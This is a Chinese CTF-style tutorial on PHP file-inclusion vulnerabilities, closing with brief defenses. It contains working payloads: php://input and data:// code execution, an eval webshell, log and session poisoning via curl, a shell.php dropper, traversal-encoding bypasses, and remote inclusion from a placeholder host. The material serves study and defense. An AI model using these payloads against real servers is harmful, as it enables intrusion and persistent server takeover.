从CTF认识文件包含
大多数的文件包含漏洞都会利用php伪协议,所以在了解了四大基本函数之后不得不了解以下php伪协议.
PHP伪协议
php伪协议支持如下几种:
1.file:// 访问本地文件系统
2.http:// 访问http(s)网址
3.ftp:// 访问FTP(s) URLs
4.php:// 访问各个输入输出流(I/O stream)
5.zlib:// 压缩流
6.data:// 数据(RFC 2397)
7.glob:// 查找匹配的文件路径模式
8.phar:// PHP 归档
9.ssh2:// Secure Shell 2
10.rar:// RAR
11.ogg:// 音频流
12.expect:// 处理交互式的流
PHP.ini
在php.ini里有两个重要的参数allow_url_fopen和allow_url_include
allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件
ctf常用的伪协议
一、php://
有两个常用的子协议:1.php://filter 2.php://input
1.php://filter
可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
假设我们已知目标文件名,可以采用如下方式将页面源码输出:
PoC举例:?page=php://filter/resource=xxx.php
PoC举例:?page=php://filter/read=convert.base64-encode/resource=xxx.php
由于大多数情况不会直接将源码直接打印在页面上,所以用第二种方法可以转成base64后打印出来。
2.php://input
可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
PoC举例:?file=php://input
<?php @eval($_POST['pass']);?>
利用这种方法插入数据会造成web后门,进而拿下服务器权限。
同时利用服务器的系统指令写成php指令也可以获取到目标文件数据。
二、zip://
可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
PoC举例:?file=zip://C:\zip.jpg%23pass.txt
注:
1.zip://中只能传入绝对路径;
2.要用#的url编码%23分隔压缩包和压缩包里的内容;
3.只需要是zip的压缩包即可,后缀名可以任意更改;
4.相同的类型的还有zlib://和bzip2://。
可以结合文件上传漏洞使用,但要有文件的绝对路径,也可以进行本地文件读取的操作。
三、file://
与php:filter,可以进行本地文件的读取,但是只能访问绝对路径。
四、phar://
有点类似zip://同样可以导致 任意代码执行。
PoC举例:?file=zip://C:\zip.jpg\pass.txt
PoC举例:?file=zip://zip.jpg/pass.txt
注:phar://中相对路径和绝对路径都可以使用
五、data://
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
网上扒下来的PoC举例:
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>
?file=data:text/plain,<?php system('whoami');?>
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:<?php system('whoami');?>
包含Apache日志文件
WEB服务器一般都会将访问记录保存在访问日志中。所以我们就可以根据日志记录的内容构造php代码插入到日志文件中,通过文件包含来执行php代码。
利用日志文件的前提:
1.对日志文件有可读权限
2.知道日志文件的储存目录
注意:
1.大多数情况下日志储存目录文件会被修改,需要读取服务器配置文件(httpd.conf,nginx.conf...)或者根据phpinfo()中的信息来获取。
2.日志记录的信息都可以被调整,比如记录报错的等级或者内容格式。
Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全起见,安装apache时尽量不要使用默认路径。
通过此法getshell
1.漏洞利用概述
当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。
例如:在cmd用命令行打开网页输入如下指令:
curl -v "http://127.0.0.1/1.php/?page=<?php @eval(@_POST\['pass'\]); ?>"
这里需要注意对 [ ] 进行转义。指令提交之后,如果我们知道日志文件的位置,我们可以去包含这个文件进而拿到shell。在对日志文件包含利用的最关键就是获取日志文件的绝对路径(物理),其他就可以常规操作拿到shell。
二、漏洞利用条件
(1)日志的物理存放路径
(2)存在文件包含漏洞
(3)curl命令行url请求工具 或者 burpsuit代理;(避免url转码的存在)
三、 获取日志存放路径
一)日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者 /var/log/httpd/access_log
(2) apache+win日志默认路径
..\apache\logs\access.log
和 ..\xampp\apache\logs\error.log
(3) IIS6.0+win默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx
,
那我的日志目录就是在/usr/local/nginx/logs
里
二)web中间件默认配置
(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者 index.php?page=/etc/init.d/httpd
(2) IIS6.0+win配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
包含session文件
根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
1.找到Session内的可控变量
2.Session文件可读写,并且知道存储路径
php的session文件在phpinfo中可以查看
session常见存储路径:
1. /var/lib/php/sess_PHPSESSID
2. /var/lib/php/sess_PHPSESSID
3. /tmp/sess_PHPSESSID
4. /tmp/sessions/sess_PHPSESSID
session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。
从CTF看session的利用方法
原文链接:https://chybeta.github.io/2017/11/09/一道CTF题%EF%BC%9APHP文件包含/
题目中时一个登录注册页面的形式。首先时通过php://filter/read=convent.base64-encode/resourse=xxx.php获取了所有相关页面的源码答主在对源码进行审计之后发现没有产生SQL注入的点。
# 第3行
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
# 第20行
$stmt->bind_result($res_password);
# 第24行
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
在对login.php审计的时候发现用了session,其作用官方文档是这么解答的。
1.PHP 会将会话中的数据设置到 $_SESSION 变量中。
2.当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
3.对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。
发现session内容中的username参数不经过滤就写入了session文件中 加以利用可以拿到对应得webshell。
答主同时通过测试得到了session文件储存得绝对路径。
在利用session文件之前要想办法将我们得一句话木马通过可控得方式写入,首先合法注册了一个账户,记录下cookie中得phpsession值,通过测试路径和phpsession值可以发现可以包含,控制文件。
一般的phpsession文件名是sess_[phpsession值]
分析源码不难猜出session值中有一部分是username的base64加密后的值。
引用base64的加密法:
未编码: abc
转成ascii码: 97 98 99
转成对应二进制(三组,每组8位): 01100001 01100010 01100011
重分组(四组,每组6位): 011000 010110 001001 100011
每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
每组对应转为十进制: 24 22 9 35
查表得: Y W J i
如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。
考虑一下session的前缀:username|s:12:"
,中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。
由于16个字符,恰好满足一下条件:
16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0
也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。
注册一个账号,使其加密后的长度大于100,这样就不影响后面的php代码被正常解析了。
总结:
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
包含/pros/self/environ以及/ proc / self / fd
proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:
1.php以cgi方式运行,这样environ才会保持UA头。
2.environ文件存储位置已知,且environ文件可读。
两者方法类似,将注入点改成referer而已。
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:winsdowstemp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
包含上传文件
很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。
利用条件:知道文件的储存路径。
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
通过包含含有上述payload的图片就会生成shell.php使用菜刀等连接就可以拿到权限。
其他文件包含
还有很多的文件包含例如SMTP日志、XSS、ftp服务,数据库等等
绕过方法
一般过滤都分为三大方向:1.指定前缀 2.指定后缀 3.指定了前缀和后缀
指定前缀
#测试代码
<?php
$file = $_GET["file"];
include "/var/www/html/".$file;
?>
绕过方法:../指令
例如这段源码指定了代码的前缀为/var/www/html/ 如果此时我们已知在目录 /var/upload/ 中有一个txt文件里面代码为可获得shell的php代码。我们此时就可以用:
PoC:../../upload/shell.txt
这样提交服务器端拼接出来的路径就为/var/www/html/../../upload/shell.txt 即/var/upload/shell.txt
成功包含文件 ../就是常用的返回上级目录的指令
但是服务器大多会对../进行过滤 这时候就需要用一些编码来进行绕过了。
1.利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
2.二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
3.容器/服务器的编码方式
../
..%c0%af
%c0%ae%c0%ae/
注:1.java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
2.Apache Tomcat Directory Traversal
..\
..%c1%9c
指定后缀
#测试代码
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
绕过方法一:利用URL
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query绕过
PoC例:index.php/?file=http://xxx.xxx.xxx.xxx:xxxx/phpinfo.php?
服务器端接收到的参数为:?file=http://xxx.xxx.xxx.xxx:xxxx/phpinfo.php?/test/test.php
但是问号之后的会被当作query而给忽略掉绕过。
fragment绕过
PoC例:index.php/?file=http://xxx.xxx.xxx.xxx:xxxx/phpinfo.php%23
服务器端接收到的参数为:?file=http://xxx.xxx.xxx.xxx:xxxx/phpinfo.php#/test/test.php
但是#后的参数会被自动忽略掉,从而绕过。
绕过方法二:利用协议
利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。
#测试代码
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
构造压缩包,包含服务器后加的路径,及完整文件,此时文件内容可控。只需要指定绝对路径就可以用zip://和phar://协议进行绕过。
绕过方法三:长度截断
php版本 < php 5.2.8的情况下可以采取截断
原理:
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
只需要不断的重复 ./ 超过最大长度之后的内容便会抛弃。
绕过方法四:00截断
php版本 < php 5.3.4的情况下且magic_quotes_gpc = Off 直接在文件名后加上%00就可以截断
对文件包含漏洞的防御
1.allow_url_include和allow_url_fopen最小权限化
2.设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
3.白名单限制包含文件,或者严格过滤 . / \